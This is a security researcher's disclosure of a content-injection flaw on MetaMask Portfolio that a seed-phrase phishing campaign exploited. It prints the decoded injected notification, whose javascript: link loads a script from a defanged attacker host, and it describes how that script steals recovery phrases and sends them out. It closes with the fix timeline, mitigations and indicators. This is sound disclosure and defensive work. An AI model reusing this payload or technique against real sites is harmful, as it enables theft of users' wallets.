Skip to content
Kauz Security Services

Research ·

Content Injection on portfolio.metamask.io

Injection vulnerability enabling native phishing attacks via the official domain

Affected
MetaMask portfolio.metamask.io

Summary. A phishing campaign linked to the genuine portfolio.metamask.io. The Portfolio frontend rendered a notification supplied in a query parameter, including a call-to-action link whose javascript: URL ran on click in the portfolio.metamask.io origin. The script it loaded asked for the victim’s Secret Recovery Phrase and sent it to an attacker-controlled server. I reported the issue on October 9, 2026. MetaMask removed the link on October 15 and stopped rendering URL-supplied content on October 19; I confirmed the fix on October 20. MetaMask never asks for a Secret Recovery Phrase on a website, including its own.

Background

On October 9, 2026, I received a “verify your wallet” phishing email. Its link did not go to a lookalike domain or a redirector but to the real portfolio.metamask.io, followed by a long query string. That was reason enough to look.

The URL had the form

https://portfolio.metamask.io/?notification=N4IgxgTg...

The notification value is an lz-string in its URI-safe encoding. The N4Ig prefix is what {"createdAt" compresses to, and the alphabet includes + and -. Decompressed, with domains defanged:

{
  "createdAt": "2026-10-06T01:36:00.000Z",
  "data": {
    "id": "mm-alert-001",
    "kind": "features_announcement",
    "title": "MetaMask Portfolio: Wallet Ownership Verification",
    "longDescription": {
      "nodeType": "document",
      "content": [{ "nodeType": "paragraph", "content": [{
        "nodeType": "text",
        "value": "Your MetaMask wallet requires ownership verification. Failure to verify within 24 hours will result in permanent account suspension."
      }]}]
    },
    "image": { "fields": { "file": {
      "url": "//api.bump9[.]com/img/px",
      "details": { "image": { "width": 10000, "height": 1 }}}}},
    "portfolioLink": { "fields": {
      "portfolioLinkText": "Verify now",
      "portfolioLinkUrl": "javascript:var s=document.createElement('script');s.src='https://sucucdocurt[.]app/p/srp';document.head.appendChild(s)"
    }}
  }
}

The shape, with nodeType: "document", fields and kind: "features_announcement", is Contentful rich text, the format the Portfolio frontend uses for its own product announcements. The site accepted the object from the URL and rendered it with the same components it uses for genuine notifications, so the result was indistinguishable from one.

The injected notification, rendered by Portfolio itself
The injected notification, rendered by Portfolio itself

Two fields matter. The image is declared as 10000 by 1 pixels: it renders as a hairline but still loads, which gives the attacker an open-tracking beacon before any click. portfolioLinkUrl is a javascript: URL, and the frontend wrote it into an href without checking the scheme. Clicking “Verify now” therefore loaded https://sucucdocurt[.]app/p/srp as a script in the portfolio.metamask.io origin.

The Script

/p/srp is about 300 lines of framework-free DOM code. It builds its interface by hand in MetaMask’s colours and in the font already loaded on the page, and it reuses the page’s own favicon from <link rel="icon">. Nothing but the script host can be taken down.

In order, it:

  1. Sends a visit beacon with the user agent to sucucdocurt[.]app/c?k=<key>, using fetch with no-cors and keepalive and falling back to sendBeacon with a text/plain blob. Neither triggers a preflight, and both survive navigation.
  2. Traps the tab: a pushState loop disables the back button, and a beforeunload handler makes the browser prompt before closing.
  3. Shows a loading card with the fox logo and a spinner for 2.5 seconds.
  4. Calls eth_accounts and eth_chainId.
  5. Shows a modal titled “Enter Secret Recovery Phrase” with twelve inputs. A pasted phrase is split across them; space advances, enter submits.
  6. On confirm, posts the twelve words and the address to the command-and-control (C2) server.
  7. If a wallet provider is injected, reads the ETH balance and the balances of nine ERC-20 tokens, and requests an EIP-2612 Permit signature for each token the victim holds. See below.
  8. Replaces the modal with a green check and “Verification Complete. Access restored. Reloading your portfolio…”, then redirects to the real dashboard after 2.5 seconds.
The seed phrase modal
The seed phrase modal

Step 4 is what makes the origin valuable. Portfolio is a site users connect their wallet to. Where that has happened before, the origin already holds the permission, and eth_accounts returns the address without a prompt. Every later wallet request, including the signature requests in step 7, opens a MetaMask popup that attributes the request to portfolio.metamask.io. The attacker inherits not only the domain’s reputation with the user but its existing standing with the wallet.

The script also has a re-engagement loop. Once the loading card is gone, an idle timer runs. Sixty seconds of inactivity, or a switch away from the tab and back, shows a second overlay: “Verification Session Expired”, a 30-second countdown, “Unverified wallets will be flagged for review” and a “Resume Verification” button. The countdown has no effect when it reaches zero. The tab-switch trigger targets victims who leave to check their wallet app or to search for the “verification”, and return to a deadline.

The exit screen. The C2 beacon is visible in the network tab.
The exit screen. The C2 beacon is visible in the network tab.

The Drainer

Step 7 is template code and does not work. Three defects show this.

So we’re looking at a seed phrase phishing page with an ineffective drainer template attached. The balances it collects are triage data, so the operator can work through the richest phrases first. Once the phrase is known, no signature is needed.

The beacon reports mode: 'srp', the script path is /p/srp, the C2 key is 32 bytes of hex, and the code contains a complete “Connect Wallet” modal that is never called. This points to a kit with several modes and several operators. This campaign used the seed phrase mode.

Root Cause And Fix

The Portfolio frontend trusted the notification query parameter and rendered it. The sink was portfolioLinkUrl, written into an href without scheme validation.

MetaMask fixed it in two steps. The first, live on October 15, dropped the link: the injected button no longer rendered, which ended script execution. The attacker-supplied title and body still displayed, and text alone is enough for phishing: a phone number to call, a contract to interact with, a site to type in. The second, live on October 19, ties a notification to a MetaMask-owned product announcement ID and renders only that entry’s content, so the title, body and button can no longer come from the URL. I verified both against the original payload.

What remains is replaying a genuine announcement by its ID, which is equivalent to sharing a real campaign link and a much weaker issue. The structural fix is still to keep notification content out of the URL entirely: accept an identifier and fetch the content from the backend, or require a signature over the blob.

A third layer would have stopped this kit at step 1 even with the bug in place. A javascript: URL executed on click, and a script loaded from a domain nobody at MetaMask chose, mean the page either had no Content Security Policy or one that allowed inline script. The C2 request returned 200, so connect-src was open as well. A nonce-based script-src and a connect-src allowlist are the standard mitigations.

For incident scoping: in the screenshot above, the initiator of the C2 request is the Sentry bundle, because Sentry wraps fetch. Breadcrumbs from any error event in an affected session contain the C2 URL, so searching Sentry for sucucdocurt is a quick way to estimate how many users loaded the script.

Timeline

DateEvent
2026-10-06Campaign active (createdAt in the payload)
2026-10-09Email received, payload decoded, reproduced, reported to MetaMask
2026-10-15First fix live: link removed, injected text remains
2026-10-19Second fix live: only MetaMask-owned announcement IDs render
2026-10-20Fix confirmed, this post

If You Clicked One Of These

Indicators

Defanged:

TypeValue
Entryportfolio.metamask[.]io/?notification=N4Ig… (expect variants)
Script and C2sucucdocurt[.]app (/p/srp, /c?k=…)
Campaign key23c6e537cdba5ee907787480b6f0d7eac0f38b396eb67d1c88f30a9befe409cb
Tracking pixelapi.bump9[.]com/img/px
Notification IDmm-alert-001

Takeaways

Thanks to Satyajeet Kolhapure at Consensys, who built and shipped both fixes, and to tintinweb, who got the report to him. The issue reached the right person through an unofficial channel and was treated with the urgency it needed.

For users: every heuristic failed here. The domain was genuine, the certificate was valid, and the design was MetaMask’s own. The one rule that holds is that nothing legitimate asks for a Secret Recovery Phrase, on any domain, for any reason.

For developers: a query parameter is untrusted input even when it arrives in your own schema. javascript: is a URL scheme, so any URL rendered from data you did not write needs its scheme checked. A site that users connect a wallet to should be especially careful about letting a URL define what appears on the page, because the address bar identifies who served the page, not necessarily who wrote its contents.